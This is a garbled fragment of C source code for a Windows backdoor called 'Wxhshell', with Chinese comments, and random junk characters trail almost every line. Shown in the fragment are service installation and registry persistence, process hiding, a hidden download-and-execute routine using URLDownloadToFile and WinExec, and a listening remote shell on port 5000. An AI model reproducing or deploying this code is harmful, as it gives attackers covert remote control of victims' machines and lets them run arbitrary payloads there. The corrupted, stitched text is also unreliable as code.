DWORD AffinityMask; &=bI3-
DWORD BasePriority; to7)gOX(
ULONG UniqueProcessId; |=s3a5sl
ULONG InheritedFromUniqueProcessId; KK</5Aw9p
} PROCESS_BASIC_INFORMATION; MzD0F#Y
JB<4m4-
PROCNTQSIP NtQueryInformationProcess; Jiq[VeLe
<!^Z|E
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ZG 1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NY
x4&
*le
Lt_]3go
HANDLE hProcess; l1WVt}
PROCESS_BASIC_INFORMATION pbi; >kYyR.p.b
S}X:LHr*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4NV1v&"
if(NULL == hInst ) return 0; S##W_OlrI
fF%r$`2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jQ*Qh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~55>uw<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'oG'`ED"
e-mlvi^-
if (!NtQueryInformationProcess) return 0; fp0Va!T(V
ZV;yXLx|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qv6]YPP
if(!hProcess) return 0; |:z%7J3wP
Yo:&\a K[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l<0V0R(
> R=YF*t
CloseHandle(hProcess); 7[LC*nrr
Za w+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X!Q"p$D4(
if(hProcess==NULL) return 0; h 8s*FI
u2QJDLMJv
HMODULE hMod; h%%'{^>~
char procName[255]; D#0}/
unsigned long cbNeeded; xXZN<<f59
wal }[F#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sgj6tH2M
}_ E
CloseHandle(hProcess); ]7;;uhn`
A\`Uu&
if(strstr(procName,"services")) return 1; // 以服务启动 G1rgp>m
dkjL;1
return 0; // 注册表启动 B_>
Fd&
} }R^{<{KVJ
{`VQL 6(i
// 主模块 h.nz kp5
int StartWxhshell(LPSTR lpCmdLine) /NZR|
{ I8y\D,
SOCKET wsl; \GWC5R7Q0j
BOOL val=TRUE; a'BBp6
int port=0; 1Q<a+
l
struct sockaddr_in door; Yh=Zn[U
eo!z>9#.
if(wscfg.ws_autoins) Install(); BeQJ/`
eW/Hn
port=atoi(lpCmdLine); 3?:}lY<,
Eq
t61O$x
if(port<=0) port=wscfg.ws_port; dSbV{*B;>
-t]0DsPg
WSADATA data; # /T)9 =m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <3HJkcYGz
lI9 3{!+>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5s;#C/ZZ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c!zu0\[Id
door.sin_family = AF_INET; W8)GT`\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8g\.1<~
door.sin_port = htons(port); _>s.V`N'
eX\t]{\oC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #ed]zI9O
closesocket(wsl); 6*$N@>8&
return 1; y^ohns5{
} AWw'pgTQX
Lxl?6wZ
if(listen(wsl,2) == INVALID_SOCKET) { ,~v1NK*
closesocket(wsl); \2Yh I0skW
return 1; b~r ?#2K
} 79\
=)m}$Q
Wxhshell(wsl); V;$lgTs|'
WSACleanup(); ?S"xR0 *
\a<E3
<
return 0; AK[c!mzx
52oR^|
} D3eK!'qS
yDPek*#^"q
// 以NT服务方式启动 /)~McP3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bz1\EkLL
{ @_;6L
DWORD status = 0; uaiG(O
DWORD specificError = 0xfffffff; PqfH}d0l
pcE.
serviceStatus.dwServiceType = SERVICE_WIN32; gbvBgOp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; t^q/'9Ai&J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `| fF)kI
serviceStatus.dwWin32ExitCode = 0; N3,EF1%
serviceStatus.dwServiceSpecificExitCode = 0; l!
GPOmf9`
serviceStatus.dwCheckPoint = 0; aD.A +e s
serviceStatus.dwWaitHint = 0;
M`bK
Q,>AT$|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mWZVO,t$
if (hServiceStatusHandle==0) return; ;I9D>shkc
H=0Y4 T@)T
status = GetLastError(); [.2>=3T
if (status!=NO_ERROR) fSj^/>
{ f.!cR3XgV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 74Lq!e3hMF
serviceStatus.dwCheckPoint = 0; B|!Re4`0
serviceStatus.dwWaitHint = 0; d6uL;eR
serviceStatus.dwWin32ExitCode = status; )9}z^+TH
serviceStatus.dwServiceSpecificExitCode = specificError; lm$T`:c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wDn5|F}i&
return; "F=O
} zDX-}t_'q
m$]?Jq
serviceStatus.dwCurrentState = SERVICE_RUNNING; XWkYhTaY
serviceStatus.dwCheckPoint = 0; HR4^+x
serviceStatus.dwWaitHint = 0; (u *-(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YS/4<QA[
} w!61k \
IyMKV$"
// 处理NT服务事件,比如:启动、停止 .2`S07Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) s+aeP
{ `Do-!G+W
switch(fdwControl) <MoWS9s!yb
{ |',Gy\Sj
case SERVICE_CONTROL_STOP: 3iDRt&y=.
serviceStatus.dwWin32ExitCode = 0; WO|#`HM2
serviceStatus.dwCurrentState = SERVICE_STOPPED; a4c~ThbI
serviceStatus.dwCheckPoint = 0; *edB3!!
serviceStatus.dwWaitHint = 0; ondF
{ nP] ~8ViS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uc.K6%iI
} \ZXH(N*>2t
return; ]2?t$"G8
case SERVICE_CONTROL_PAUSE: Q~nc:eWD
serviceStatus.dwCurrentState = SERVICE_PAUSED; NI3_wV
break; `U)~fu/\2M
case SERVICE_CONTROL_CONTINUE: lV3\5AEW
serviceStatus.dwCurrentState = SERVICE_RUNNING; XJ.vj+XXb
break; <Dl7|M
case SERVICE_CONTROL_INTERROGATE: Wfp[)MM;
break; L \pe
}; <`BUk< uf#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O3Yv ->#
} XJGOX
n$/
7Y:1ji0l
// 标准应用程序主函数 QDs]{F#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JBp^@j{_
{ /.P*%'g
<f1Pj
// 获取操作系统版本 Y7= *-
OsIsNt=GetOsVer(); Ig~lD>dnr'
GetModuleFileName(NULL,ExeFile,MAX_PATH); LEG
y1L
p"w"/[8
// 从命令行安装 fVw+8 [d0
if(strpbrk(lpCmdLine,"iI")) Install(); $`mxOcBmQ
>osY?9
// 下载执行文件 +[ !K
if(wscfg.ws_downexe) { 5Osx__6 $t
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -|T.APxB
WinExec(wscfg.ws_filenam,SW_HIDE); SO9j/
} %+qD-{&
"d9"Md0k
if(!OsIsNt) { Hr:WE+'
// 如果时win9x,隐藏进程并且设置为注册表启动 LNtBYdB`pK
HideProc(); iCnKQG
StartWxhshell(lpCmdLine); ,@Xl?
} p1q"[)WVn^
else Bi9 S1p
if(StartFromService()) ,..&j+m
// 以服务方式启动
a?_N8|k[
StartServiceCtrlDispatcher(DispatchTable); 6|L<?
X
else >2TDYB|;
// 普通方式启动 ^ 14U]<
StartWxhshell(lpCmdLine); ng"R[/)In
hvkLcpE
return 0; @h$cHZ
} %N04k8z
-)PQ&[
Hz `aj
^fa+3`>
=========================================== E)7vuWOO
9t9x&.A
h,"K+$
J4&d6[40
r>+\9q1
r3*0`Rup
" -A^18r
VyK[*kyN
#include <stdio.h> j#rjYiYKy
#include <string.h> /I(IT=kp
#include <windows.h> Y j;KKgk
#include <winsock2.h> UiO%y
#include <winsvc.h> ],V_"\ATD
#include <urlmon.h> @@M
2s(
@m[q0G}
#pragma comment (lib, "Ws2_32.lib") kr[p4X4
#pragma comment (lib, "urlmon.lib") ux:czZqy
tNj-~r
#define MAX_USER 100 // 最大客户端连接数 mII7p LbQ
#define BUF_SOCK 200 // sock buffer ..'k+0u^
#define KEY_BUFF 255 // 输入 buffer cks53/Z
~PAF2
#define REBOOT 0 // 重启 $dIu${lu
#define SHUTDOWN 1 // 关机 'B>fRN
AwN7/M~'
#define DEF_PORT 5000 // 监听端口 I&%{%*y
ji9 (!G
#define REG_LEN 16 // 注册表键长度 "^Y)&